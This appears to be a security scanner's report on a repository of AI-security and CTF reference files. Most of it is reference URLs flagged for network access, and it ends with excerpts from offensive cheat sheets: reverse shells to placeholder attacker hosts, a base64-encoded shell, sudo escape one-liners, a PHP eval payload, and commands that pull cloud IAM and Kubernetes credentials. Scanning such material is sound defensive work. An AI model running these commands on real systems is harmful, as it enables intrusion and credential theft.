https://wiki.offsecml.com/Supply+Chain+Attacks/Models/Using+Keras+Lambda+Layers - Network accessline 8808
https://5stars217.github.io/2023-08-08-red-teaming-with-ml-models/ - Network accessline 8811
https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model - Network accessline 8856
https://thenewstack.io/how-to-reduce-the-hallucinations-from-large-language-models/ - Network accessline 8906
https://aclanthology.org/2020.acl-main.249/
deepsec/spear/skills/specialized/ai-mcp-security/references/ai-app-security.md
- Network accessline 68
http://youtube.com/watch?v=7ZA0Z1R-MjQ - Network accessline 69
http://youtube.com/watch?v=KksYizcLFH0 - Access to secretsline 95
[Credential-related source omitted] - Network accessline 128
https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks - Network accessline 129
https://atlas.mitre.org/techniques/AML.T0051 - Network accessline 130
https://github.com/invariantlabs-ai/mcp-injection-experiments - Network accessline 191
https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks - Network accessline 192
https://mp.weixin.qq.com/s/EJLb1IwqbPF3VSDkJu099g - Network accessline 193
https://x.com/hongming731/status/1922261630664245326 - Network accessline 194
https://news.qq.com/rain/a/20250429A07QY000 - Network accessline 255
https://blog.trailofbits.com/2025/04/21/jumping-the-line-how-mcp-servers-can-attack-you-before-you-ever-use-them/ - Network accessline 256
https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/ - Network accessline 322
https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/ - Network accessline 323
https://www.solo.io/blog/deep-dive-mcp-and-a2a-attack-vectors-for-ai-agents - Network accessline 384
https://aclanthology.org/2024.scalellm-1.2/ - Network accessline 385
https://atlas.mitre.org/techniques/AML.T0051 - Network accessline 386
https://josephthacker.com/ai/2023/05/19/prompt-injection-poc.html - Network accessline 387
https://simonwillison.net/2022/Sep/12/prompt-injection/ - Network accessline 441
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/SSRF.html - Network accessline 518
https://systemweakness.com/new-prompt-injection-attack-on-chatgpt-web-version-ef717492c5c2 - Network accessline 572
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Unauthorized_Code_Execution.html - Network accessline 573
https://www.calvin-risk.com/blog/decoding-llm-risks-a-comprehensive-look-at-unauthorized-code-execution - Network accessline 612
https://mp.weixin.qq.com/s/eFDQWYYCOe_SSiourhTxig - Network accessline 698
https://arxiv.org/html/2402.16914v1 - Network accessline 807
https://promptengineering.org/mind-over-malware-battling-the-growing-arsenal-of-attacks-on-large-language-models/ - Network accessline 808
https://www.toolify.ai/ai-news/the-future-of-hacking-5-terrifying-llm-security-threats-544868 - Network accessline 848
https://embracethered.com/blog/posts/2024/chatgpt-persistent-denial-of-service/ - Network accessline 849
https://openai.com/index/memory-and-new-controls-for-chatgpt/ - Network accessline 927
https://portswigger.net/web-security/llm-attacks - Network accessline 975
https://labs.withsecure.com/publications/llm-agent-prompt-injection - Network accessline 1027
https://labs.withsecure.com/publications/llm-agent-prompt-injection - Network accessline 1075
http://youtube.com/watch?v=7ZA0Z1R-MjQ - Network accessline 1076
http://youtube.com/watch?v=KksYizcLFH0 - Network accessline 1138
https://mp.weixin.qq.com/s/9JwADiu9t3kqcfqnRMC2zQ - Network accessline 1139
https://finance.sina.com.cn/tech/digi/2025-06-01/doc-ineypqvh0855918.shtml - Network accessline 1140
https://zhuanlan.zhihu.com/p/1900540531131523166 - Network accessline 1191
https://mp.weixin.qq.com/s/2bm7nuXkORLZ20mfpOmwrA - Network accessline 1248
https://atlas.mitre.org/techniques/AML.T0051.001 - Network accessline 1249
https://twitter.com/random_walker/status/1636923058370891778 - Network accessline 1250
https://medium.com/@harry.hphu/introduction-to-web-llm-attacks-indirect-prompt-injection-7bb9f154bc07 - Network accessline 1251
https://medium.com/@dinob5551/indirect-prompt-injection-the-hidden-threat-lurking-in-ai-730b009dd5fb - Network accessline 1412
https://drive.google.com/file/d/1CTVcliUblX35cWfB49Xjhf8xk-fM3QH1/edit?pli=1 - Network accessline 1466
https://analyticsindiamag.com/metas-llama-leaked-to-the-public-thanks-to-4chan/ - Network accessline 1467
https://knightcolumbia.org/blog/the-llama-is-out-of-the-bag-should-we-expect-a-tidal-wave-of-disinformation - Network accessline 1519
https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf - Network accessline 1520
https://cloud.baidu.com/article/3253170 - Network accessline 1521
https://www.akto.io/blog/insecure-output-handling-in-llms-insights - Network accessline 1522
https://journal.hexmos.com/insecure-output-handling/ - Network accessline 1523
https://systemweakness.com/new-prompt-injection-attack-on-chatgpt-web-version-ef717492c5c2 - Network accessline 1576
https://sec.cafe/handbook/security_research/ai_security/llm_security/attack/ - Network accessline 1621
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/SSRF.html - Network accessline 1622
https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/ - Network accessline 1623
https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf - Network accessline 1667
https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf - Network accessline 1717
https://www.wehelpwin.com/article/5063 - Network accessline 1718
https://medium.com/nfactor-technologies/rag-poisoning-an-emerging-threat-in-ai-systems-660f9ff279f9 - Network accessline 1719
https://ironcorelabs.com/security-risks-rag/ - Network accessline 1775
https://arxiv.org/html/2312.04724v1 - Network accessline 1821
https://security.tencent.com/index.php/blog/msg/209 - Network accessline 1886
https://hiddenlayer.com/research/insane-in-the-supply-chain/
deepsec/spear/skills/specialized/ai-mcp-security/references/ai-baseline-security.md
- Network accessline 68
https://atlas.mitre.org/techniques/AML.T0029 - Network accessline 69
https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v05.pdf - Network accessline 70
https://www.cnblogs.com/LittleHann/p/17596696.html - Network accessline 120
https://blog.securelayer7.net/owasp-top10-for-large-language-models/ - Network accessline 121
https://www.mufeedvh.com/llm-security/#2-sandboxing-extended-llms - Network accessline 122
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_Sandboxing.html - Network accessline 179
https://mp.weixin.qq.com/s/tf4ljSJ0Ue0YniojWhYMKg - Network accessline 180
https://www.wiz.io/blog/wiz-and-hugging-face-address-risks-to-ai-infrastructure - Network accessline 230
https://pradiptabanerjee.medium.com/confidential-containers-for-large-language-models-42477436345a - Network accessline 233
https://www.run.ai/guides/kubernetes-architecture/securing-your-ai-ml-kubernetes-environment - Network accessline 278
https://mp.weixin.qq.com/s/Ry1PoZLfPvw6Lj8bz14mgw - Network accessline 344
https://github.com/knownsec/KCon/blob/master/2023/CICD%E6%94%BB%E5%87%BB%E5%9C%BA%E6%99%AF.pdf - Network accessline 389
https://xie.infoq.cn/article/536a3e7e776eb32b38d1a9747 - Network accessline 390
https://www.helloaliyun.com/tutorial/1039.html - Network accessline 391
https://support.huaweicloud.com/usermanual-gaussdbformysql/gaussdbformysql_05_0347.html - Network accessline 440
https://developer.aliyun.com/article/1430094 - Network accessline 507
https://pradiptabanerjee.medium.com/confidential-containers-for-large-language-models-42477436345a - Network accessline 564
https://ironcorelabs.com/security-risks-rag/ - Network accessline 613
https://www.securityweek.com/chatgpt-data-breach-confirmed-as-security-firm-warns-of-vulnerable-component-exploitation/ - Network accessline 667
http://www.bimant.com/blog/top8-ml-model-deployment-tools/ - Network accessline 668
https://mlflow.org/docs/latest/deployment/index.html - Network accessline 721
https://www.docker.com/blog/llm-docker-for-local-and-hugging-face-hosting/ - Network accessline 722
https://collabnix.com/large-language-models-llms-and-docker-building-the-next-generation-web-application/ - Network accessline 723
https://mp.weixin.qq.com/s/vIDHBLbA5iWoPlYTKHSZfw - Network accessline 779
https://cloud.baidu.com/article/621826 - Network accessline 780
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_Sandboxing.html - Network accessline 880
https://www.secrss.com/articles/64006 - Network accessline 881
https://huntr.com/bounties/a795bf93-c91e-4c79-aae8-f7d8bda92e2a - Network accessline 916
https://doc.dataiku.com/dss/latest/concepts/homepage/index.html - Network accessline 917
https://www.secrss.com/articles/62742 - Network accessline 970
https://llmtop10.com/llm05/ - Network accessline 1020
- https://cloud.baidu.com/article/621826 - Access to secretsline 1132
[Credential-related source omitted] - Network accessline 1148
| 目标 | 检测命令 | 利用方式 | |------|----------|----------| | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 | - Network accessline 1149
|------|----------|----------| | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 | | K8s API | `curl -k https://kubernetes.default.svc` | 列举Pod/获取Secret | - Network accessline 1150
| 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 | - Network accessline 1151
| K8s API | `curl -k https://kubernetes.default.svc` | 列举Pod/获取Secret | - Network accessline 1152
| K8s ServiceAccount | `cat /var/run/secrets/kubernetes.io/serviceaccount/token` | 认证K8s API | | 内网数据库 | `echo \| nc DB_HOST 5432` | 直连数据库 | | Redis | `redis-cli -h REDIS_HOST ping` | 未授权访问 | - Network accessline 1153
| 内网数据库 | `echo \| nc DB_HOST 5432` | 直连数据库 | - Network accessline 1155
| Docker Registry | `curl http://REGISTRY:5000/v2/_catalog` | 拉取敏感镜像 |
deepsec/spear/skills/specialized/ai-mcp-security/references/ai-data-security.md
- Network accessline 56
https://nordicapis.com/llm-security-hinges-on-api-security/ - Network accessline 57
https://superface.ai/blog/how-to-connect-openai-gpts-to-apis - Network accessline 115
https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg - Network accessline 173
https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg - Network accessline 245
https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms - Network accessline 246
https://learnprompting.org/docs/prompt_hacking/leaking - Network accessline 247
https://simonwillison.net/2022/Sep/12/prompt-injection/ - Network accessline 248
https://matt-rickard.com/a-list-of-leaked-system-prompts - Network accessline 249
https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection - Network accessline 295
https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms - Network accessline 296
https://learnprompting.org/docs/prompt_hacking/leaking - Network accessline 297
https://simonwillison.net/2022/Sep/12/prompt-injection/ - Network accessline 298
https://matt-rickard.com/a-list-of-leaked-system-prompts - Network accessline 299
https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection - Network accessline 350
https://www.secrss.com/articles/51763 - Network accessline 351
https://github.com/linexjlin/GPTs - Network accessline 420
https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms - Network accessline 421
https://learnprompting.org/docs/prompt_hacking/leaking - Network accessline 422
https://simonwillison.net/2022/Sep/12/prompt-injection/ - Network accessline 423
https://matt-rickard.com/a-list-of-leaked-system-prompts - Network accessline 424
https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection - Network accessline 425
https://twitter.com/simonw/status/1570933190289924096 - Network accessline 476
https://magazine.sebastianraschka.com/p/ahead-of-ai-8-the-latest-open-source - Network accessline 477
https://vulcan.io/blog/owasp-top-10-llm-risks-what-we-learned/#h2_1 - Network accessline 478
https://www.linkedin.com/pulse/security-threats-around-llm-systems-categorization-gaurang-desai-bvale?trk=article-ssr-frontend-pulse_more-articles_related-content-card - Network accessline 527
https://www.anquanke.com/post/id/247895 - Network accessline 528
https://www.aixinzhijie.com/article/6825834 - Network accessline 577
https://blog.barracuda.com/2024/04/03/generative-ai-data-poisoning-manipulation - Network accessline 578
https://36kr.com/p/2723023103489920 - Network accessline 579
https://shardsecure.com/blog/data-manipulation-ml - Network accessline 627
https://blog.csdn.net/2401_84252820/article/details/138406655?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-4-138406655-blog-124579765.235v43pc_blog_bottom_relevance_base5&spm=1001.2101.3001.424 - Network accessline 675
https://cloud.baidu.com/article/3248650 - Network accessline 676
https://forum.butian.net/share/3072 - Network accessline 733
https://aws.amazon.com/cn/blogs/china/privacy-and-security-of-agent-applications/ - Network accessline 734
https://arxiv.org/abs/2511.17671?utm_source=chatgpt.com - Network accessline 735
https://arxiv.org/abs/2601.05504?utm_source=chatgpt.com - Network accessline 799
https://www.lesswrong.com/posts/aPeJE8bSo6rAFoLqg/solidgoldmagikarp-plus-prompt-generation - Network accessline 800
https://www.lesswrong.com/posts/Ya9LzwEbfaAMY8ABo/solidgoldmagikarp-ii-technical-details-and-more-recent - Network accessline 848
https://www.nightfall.ai/ai-security-101/model-inversion - Network accessline 849
https://www.michalsons.com/blog/model-inversion-attacks-a-new-ai-security-risk/64427 - Network accessline 903
https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg - Network accessline 987
https://bj.bcebos.com/ensec-web-privacy/anquan/%E5%A4%A7%E6%A8%A1%E5%9E%8B%E5%AE%89%E5%85%A8%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E7%99%BD%E7%9A%AE%E4%B9%A6.pdf - Network accessline 988
https://mp.weixin.qq.com/s/JlJwDRzYG985kF4d6g7qjw - Network accessline 1037
https://news.cctv.com/2022/06/21/ARTIdhgLL1sSK5Hjl0uYWybr220621.shtml - Network accessline 1038
https://atlas.mitre.org/techniques/AML.T0036 - Network accessline 1087
https://www.kuaikuaicloud.com/market/3667.html - Network accessline 1128
http://www.nelab-bdst.org.cn/data/upload/ueditor/20230707/64a78209c719c.pdf - Network accessline 1186
https://mp.weixin.qq.com/s/3WAWy4ZV6Ezft_2MJHMgtg - Network accessline 1187
https://mp.weixin.qq.com/s/yiloJtlmv7MT3df9AnWNZQ - Network accessline 1233
https://mp.weixin.qq.com/s/c_cIzecyw48MatwKBZbdUg - Network accessline 1234
https://36kr.com/p/2541963790493187 - Network accessline 1284
https://mp.weixin.qq.com/s/VCmhL-LbGfCViQrAEwyCAg - Network accessline 1285
https://mp.weixin.qq.com/s/kp1Sl5TC_uuVelhj8HPmdw - Network accessline 1328
https://mp.weixin.qq.com/s/VCmhL-LbGfCViQrAEwyCAg - Network accessline 1329
https://mp.weixin.qq.com/s/kp1Sl5TC_uuVelhj8HPmdw - Network accessline 1330
https://mp.weixin.qq.com/s/c_cIzecyw48MatwKBZbdUg - Network accessline 1331
https://36kr.com/p/2541963790493187 - Network accessline 1385
https://platform.openai.com/docs/guides/fine-tuning/preparing-your-dataset - Network accessline 1386
https://arxiv.org/abs/2310.03693 - Network accessline 1387
https://blog.csdn.net/yalecaltech/article/details/117135011 - Network accessline 1442
https://cloud.baidu.com/article/1819998 - Network accessline 1495
https://www.eet-china.com/mp/a213535.html - Network accessline 1548
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Training_Data_Poisoning.html - Network accessline 1605
https://mp.weixin.qq.com/s/C9eIW06UXKL8g9TkZzGn_w - Network accessline 1606
https://www.techpolicy.press/new-study-suggests-chatgpt-vulnerability-with-potential-privacy-implications/ - Network accessline 1656
https://ensarseker1.medium.com/data-poisoning-attacks-the-silent-threat-to-ai-integrity-d83900eea276 - Network accessline 1657
https://www.51cto.com/article/760084.html - Network accessline 1713
https://home.dartmouth.edu/news/2024/01/zeroing-origins-bias-large-language-models
deepsec/spear/skills/specialized/ai-mcp-security/references/ai-identity-security.md
- Network accessline 63
https://mp.weixin.qq.com/s/lgMI9tf0xAl8siZYaKcqog - Network accessline 64
https://mcp.csdn.net/6800a595a5baf817cf49422d.html - Network accessline 123
https://www.reddit.com/r/cybersecurity/comments/1lzrkf6/another_critical_cvss_9610_mcpbased_vulnerability/ - Network accessline 124
https://threatprotect.qualys.com/2025/07/03/anthropic-model-context-protocol-mcp-inspector-remote-code-execution-vulnerability-cve-2025-49596/?utm_source=chatgpt.com - Network accessline 182
https://arxiv.org/pdf/2211.09527.pdf - Network accessline 183
https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms - Network accessline 184
https://prompt-guide.xiniushu.com/prompt_hacking/injection - Network accessline 243
https://www.knightcxx.cn/?p=118 - Network accessline 311
https://simonwillison.net/2023/Feb/15/bing/ - Network accessline 312
https://www.tomshardware.com/news/chatgpt-generates-windows-11-pro-keys - Network accessline 313
https://www.polygon.com/23690187/discord-ai-chatbot-clyde-grandma-exploit-chatgpt?continueFlag=9d7655502c6eb54decc775fab724139d - Network accessline 363
https://sysdig.com/blog/lateral-movement-cloud-containers/ - Network accessline 405
https://dtzed.com/studies/2023/10/8093/ - Network accessline 406
https://www.cobalt.io/blog/llm-insecure-output-handling - Network accessline 462
https://allabouttesting.org/owasp-agentic-ai-threat-t9-identity-spoofing-impersonation-in-ai-systems/ - Network accessline 463
https://moanju.org/posts/ai-agent-attack-examples-owasp-2026/ - Network accessline 511
https://openai.com/blog/march-20-chatgpt-outage - Network accessline 512
https://securityaffairs.com/144057/data-breach/openai-chatgpt-redis-bug-data-leak.html - Network accessline 569
https://kenhuangus.medium.com/llm-powered-applications-architecture-patterns-and-security-controls-7a153c3ec9f4 - Network accessline 570
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Insufficient_Access_Control.html - Network accessline 624
https://mp.weixin.qq.com/s/DMx-By1qxB5cQglkaq9ppQ - Network accessline 625
https://priyalwalpita.medium.com/securing-the-future-of-ai-a-deep-dive-into-owasps-top-10-security-risks-for-large-language-models-72c5ff540cd3 - Network accessline 678
http://www.nelab-bdst.org.cn/data/upload/ueditor/20230707/64a78209c719c.pdf - Network accessline 679
https://blog.csdn.net/douyu0814/article/details/133703803 - Network accessline 727
https://www.knightcxx.cn/?p=118 - Network accessline 790
https://thehackernews.com/2023/06/over-100000-stolen-chatgpt-account.html - Network accessline 791
https://www.makeuseof.com/why-hackers-target-chatgpt-accounts/ - Network accessline 849
https://mp.weixin.qq.com/s/DMx-By1qxB5cQglkaq9ppQ - Network accessline 905
https://www.signalfire.com/blog/prompt-injection-security - Network accessline 906
https://developer.nvidia.com/blog/mitigating-stored-prompt-injection-attacks-against-llm-applications/ - Network accessline 958
- https://www.securityweek.com/major-organizations-using-hugging-face-ai-tools-put-at-risk-by-leaked-api-tokens/ - Network accessline 959
- https://aws.amazon.com/cn/what-is/api-key/ - Network accessline 1021
https://medium.com/@nitishjoshi060291/llm-hallucinations-fix-it-with-vector-database-de04eee531da - Network accessline 1022
https://cloudsecurityalliance.org/blog/2023/11/22/mitigating-security-risks-in-retrieval-augmented-generation-rag-llm-applications - Network accessline 1023
https://www.cnblogs.com/LittleHann/p/17440063.html#_label3 - Network accessline 1024
https://dongnian.icu/llms/llms_article/9.%E6%A3%80%E7%B4%A2%E5%A2%9E%E5%BC%BALLM/index.html - Network accessline 1025
https://cloudsecurityalliance.org/blog/2023/11/22/mitigating-security-risks-in-retrieval-augmented-generation-rag-llm-applications - Network accessline 1077
https://www.leewayhertz.com/security-in-ai-development/ - Network accessline 1126
https://atmosphericthinking.medium.com/massive-leak-of-chatgpt-credentials-over-100-000-affected-db6cef3a18c5 - Network accessline 1127
https://blog.csdn.net/FreeBuf_/article/details/140870185?utm_relevant_index=7 - Network accessline 1174
https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf - Network accessline 1175
https://developer.nvidia.com/zh-cn/blog/securing-llm-systems-against-prompt-injection/ - Network accessline 1221
https://blog.csdn.net/qq_43543209/article/details/135683986 - Network accessline 1270
https://www.pulumi.com/ai/answers/mptvxaHguJ6A4yXSHi92zZ/implementing-role-based-access-to-ai-training-data-in-snowflake
deepsec/spear/skills/specialized/ai-mcp-security/references/ai-model-security.md
- Network accessline 57
https://github.com/0xk1h0/ChatGPT_DAN - Network accessline 58
https://www.digitaltrends.com/computing/what-is-dan-prompt-chatgpt/ - Network accessline 59
https://arxiv.org/abs/2308.03825 - Network accessline 105
https://www.anthropic.com/research/many-shot-jailbreaking - Network accessline 157
https://www.lakera.ai/blog/guide-to-hallucinations-in-large-language-models - Network accessline 158
https://arxiv.org/pdf/2305.13534.pdf - Network accessline 221
https://atlas.mitre.org/techniques/AML.T0005 - Network accessline 294
https://mp.weixin.qq.com/s/LSTZUKOlXP9VZTxa-nKkhA - Network accessline 295
https://blog.uptrain.ai/llm-jailbreak/ - Network accessline 296
https://www.fuzzylabs.ai/blog-post/jailbreak-attacks-on-large-language-models - Network accessline 368
https://www.lakera.ai/blog/jailbreaking-large-language-models-guide - Network accessline 426
https://mp.weixin.qq.com/s/EhEqNlIcpu9RZ36XFL3vWQ - Network accessline 484
https://stcn.com/article/detail/1250289.html - Network accessline 485
https://www.51cto.com/aigc/912.html - Network accessline 597
https://arxiv.org/abs/2307.15043 - Network accessline 598
https://twitter.com/andyzou_jiaming/status/1684766170766004224 - Network accessline 599
https://zhuanlan.zhihu.com/p/662098517 - Network accessline 695
https://zhuanlan.zhihu.com/p/620575831 - Network accessline 696
https://atlas.mitre.org/techniques/AML.T0015 - Network accessline 794
https://mp.weixin.qq.com/s/yozvoCG92TDIF86EEz9g8Q - Network accessline 795
https://mp.weixin.qq.com/s/RdIQBaBR0RQJUFp0Pf7ovA - Network accessline 796
https://mp.weixin.qq.com/s/sxjU930eO4K_HKPPWXPlWg - Network accessline 797
https://mp.weixin.qq.com/s/PGMVqjeI18x7GZyksvtGzQ - Network accessline 861
https://arxiv.org/pdf/2311.05232.pdf - Network accessline 862
https://mp.weixin.qq.com/s/qFAQQJ_FuhY2iaLzkoWynA - Network accessline 863
https://www.lakera.ai/blog/guide-to-hallucinations-in-large-language-models - Network accessline 864
https://www.appendata.com/blogs/ai-hallucinations - Network accessline 935
https://mp.weixin.qq.com/s/4UzoMtIL2oSkxzzuceuxhg - Network accessline 936
https://zh-cn.eureporter.co/internet-2/artificial-intelligence/2024/02/03/laws-to-prevent-ai-terrorism-are-urgently-needed/ - Network accessline 993
https://infosecwriteups.com/jail-breaking-chatgpt-to-write-malware-9b3ae111f30c - Network accessline 994
https://www.theregister.com/2024/04/17/gpt4_can_exploit_real_vulnerabilities/ - Network accessline 995
https://arxiv.org/abs/2404.08144 - Network accessline 996
https://blog.csdn.net/pengpengjy/article/details/132478358 - Network accessline 1053
https://www.freebuf.com/articles/ai-security/454527.html - Network accessline 1054
https://zhuanlan.zhihu.com/p/1928583554805260699 - Network accessline 1120
https://mp.weixin.qq.com/s/5cEkxtEbH7GUKiQ5aRsnrg - Network accessline 1189
https://mp.weixin.qq.com/s/nOn1aQDEQys5D7sNK1_oPg - Network accessline 1190
https://mp.weixin.qq.com/s/ZpM09SUHSTvM9SrvrlBEmA - Network accessline 1257
https://www.ibm.com/topics/model-drift - Network accessline 1258
https://www.datacamp.com/tutorial/understanding-data-drift-model-drift - Network accessline 1259
https://mp.weixin.qq.com/s/QbADBoHEqpDBKNkr-so3Ig - Network accessline 1260
https://arxiv.org/pdf/2307.09009.pdf - Network accessline 1312
https://arxiv.org/abs/2404.12038 - Network accessline 1425
https://github.com/PKU-YuanGroup/Hallucination-Attack - Network accessline 1426
https://zhuanlan.zhihu.com/p/661444210 - Network accessline 1427
https://arxiv.org/pdf/2310.01469.pdf - Network accessline 1616
https://mp.weixin.qq.com/s/EhEqNlIcpu9RZ36XFL3vWQ - Network accessline 1617
http://www.cbdio.com/BigData/2024-01/11/content_6176237.htm - Network accessline 1692
https://mp.weixin.qq.com/s/krG4NGBCjK5kUL2x_RGRSg - Network accessline 1693
https://world.huanqiu.com/article/4FIHGhZ96FB - Network accessline 1694
https://insight.kellogg.northwestern.edu/zh/article/how-to-prepare-for-ai-generated-misinformation - Network accessline 1752
https://stcn.com/article/detail/1250289.html - Network accessline 1753
https://www.51cto.com/aigc/912.html - Network accessline 1828
https://mp.weixin.qq.com/s/KGqu6i2_xX9d7-x8P189Lw - Network accessline 1943
https://mp.weixin.qq.com/s/8Ca4HmkafP9SxjHayC9zdQ - Network accessline 1944
https://mp.weixin.qq.com/s/-0i0SlGat-Y5hXcM3EIGiw - Network accessline 1945
https://mp.weixin.qq.com/s/2Ai4nKOzEnkhqJD903O8mA - Network accessline 2027
https://mp.weixin.qq.com/s/2bm7nuXkORLZ20mfpOmwrA - Network accessline 2085
https://stcn.com/article/detail/1250289.html - Network accessline 2086
https://www.51cto.com/aigc/912.html - Network accessline 2087
https://36kr.com/p/2190993024614530 - Network accessline 2137
https://atlas.mitre.org/tactics/AML.TA0001 - Network accessline 2138
https://www.sohu.com/a/584853485_121124363 - Network accessline 2187
https://atlas.mitre.org/techniques/AML.T0014 - Network accessline 2231
https://atlas.mitre.org/techniques/AML.T0013 - Network accessline 2282
https://36kr.com/p/2653630408081670 - Network accessline 2283
https://www.sciencedirect.com/science/article/abs/pii/S0167865522003063 - Network accessline 2359
https://rodtrent.substack.com/p/must-learn-ai-security-part-8-model - Network accessline 2360
https://arxiv.org/pdf/2403.06634.pdf - Network accessline 2361
https://cloud.tencent.com/developer/article/2378846 - Network accessline 2362
https://www.53ai.com/news/LargeLanguageModel/2024071740891.html - Network accessline 2431
https://atlas.mitre.org/techniques/AML.T0018 - Network accessline 2432
https://defence.ai/ai-security/backdoor-attacks-ml/ - Network accessline 2433
https://arxiv.org/abs/2308.14367 - Network accessline 2486
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_AI_Alignment.html - Network accessline 2548
https://wiki.offsecml.com/Supply+Chain+Attacks/Models/Using+Keras+Lambda+Layers - Network accessline 2551
https://5stars217.github.io/2023-08-08-red-teaming-with-ml-models/ - Network accessline 2554
https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model - Network accessline 2599
https://thenewstack.io/how-to-reduce-the-hallucinations-from-large-language-models/ - Network accessline 2649
https://aclanthology.org/2020.acl-main.249/
deepsec/spear/skills/specialized/client-reverse/references/MCP.md
deepsec/spear/skills/specialized/client-reverse/references/browser-locate-and-request-chain.md
- Access to secretsline 24
[Credential-related source omitted]
deepsec/spear/skills/specialized/crypto-toolkit/references/encoding-cheatsheet.md
deepsec/spear/skills/specialized/ctf-crypto/references/rsa-attacks-cheatsheet.md
deepsec/spear/skills/specialized/ctf-misc/references/bash-jail-escape.md
- Dangerous shell operationline 66
bash -i >& /dev/tcp/attacker_ip/port 0>&1 - Network accessline 66
bash -i >& /dev/tcp/attacker_ip/port 0>&1 - Network accessline 67
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker_ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
deepsec/spear/skills/specialized/ctf-misc/references/ctfd-platform-guide.md
- Network accessline 8
CTFD_URL = "https://ctf.example.com" session = requests.Session() - Network accessline 9
session = requests.Session() - Network accessline 62
"""检测 CTF 平台类型""" # CTFd r = requests.get(f"{url}/login") - Network accessline 63
# CTFd r = requests.get(f"{url}/login") if 'ctfd' in r.text.lower() or 'csrf_token' in r.text: - Network accessline 64
r = requests.get(f"{url}/login") - Network accessline 117
solve_func(challenge_data) -> flag """ session = requests.Session() - Network accessline 118
""" session = requests.Session() login(username, password) - Network accessline 119
session = requests.Session()
deepsec/spear/skills/specialized/ctf-misc/references/encoding-chain-reference.md
deepsec/spear/skills/specialized/ctf-misc/references/linux-privesc-quick.md
- Dangerous shell operationline 8
id; whoami; sudo -l - Dangerous shell operationline 13
# 3. 检查 sudo 可用命令 - Dangerous shell operationline 14
sudo -l - Dangerous shell operationline 35
# 9. 检查 sudo 版本 (CVE) - Dangerous shell operationline 36
sudo --version - Dangerous shell operationline 61
### 2. Sudo 提权 - Dangerous shell operationline 64
# sudo -l 查看可用命令 - Dangerous shell operationline 66
sudo git help config; !/bin/sh - Dangerous shell operationline 67
sudo less /etc/passwd; !/bin/sh - Dangerous shell operationline 68
sudo vim; :!/bin/sh - Dangerous shell operationline 69
sudo awk 'BEGIN {system("/bin/sh")}' - Dangerous shell operationline 70
sudo find . -exec /bin/sh -p \; -quit - Dangerous shell operationline 71
sudo python -c 'import os; os.system("/bin/sh")' - Dangerous shell operationline 72
sudo perl -e 'exec "/bin/sh"' - Dangerous shell operationline 73
sudo ruby -e 'exec "/bin/sh"' - Dangerous shell operationline 74
sudo lua -e 'os.execute("/bin/sh")' - Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Dangerous shell operationline 135
## GTFOBins (sudo suid 查表)
deepsec/spear/skills/specialized/ctf-misc/references/python-jail-escape.md
- Dangerous shell operationline 29
eval("__import__('os').system('id')") - Dangerous shell operationline 30
exec("__import__('os').system('id')") - Network accessline 107
# 最短的反弹 shell __import__('os').system('bash -i >& /dev/tcp/IP/PORT 0>&1') - Dangerous shell operationline 108
__import__('os').system('bash -i >& /dev/tcp/IP/PORT 0>&1') - Network accessline 108
__import__('os').system('bash -i >& /dev/tcp/IP/PORT 0>&1') - Possible obfuscationline 111
__import__('base64').b64decode('bWFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDAmPnxkZXYvdGNwL0lQL1BPUlQK').decode() - Network accessline 126
# 如果命令执行无回显,用以下方式验证 __import__('os').system('curl http://attacker/?$(id)') - Network accessline 127
__import__('os').system('curl http://attacker/?$(id)')
deepsec/spear/skills/specialized/ctf-web/SKILL.md
- Dangerous shell operationline 120
当 `eval()` 有 `strlen()` 长度限制时(如 ≤ 18 字符),**首推 `$_GET` 链式传参**: - Dangerous shell operationline 125
?get=eval($_GET['A']);&A=system('cat /flag'); - Dangerous shell operationline 129
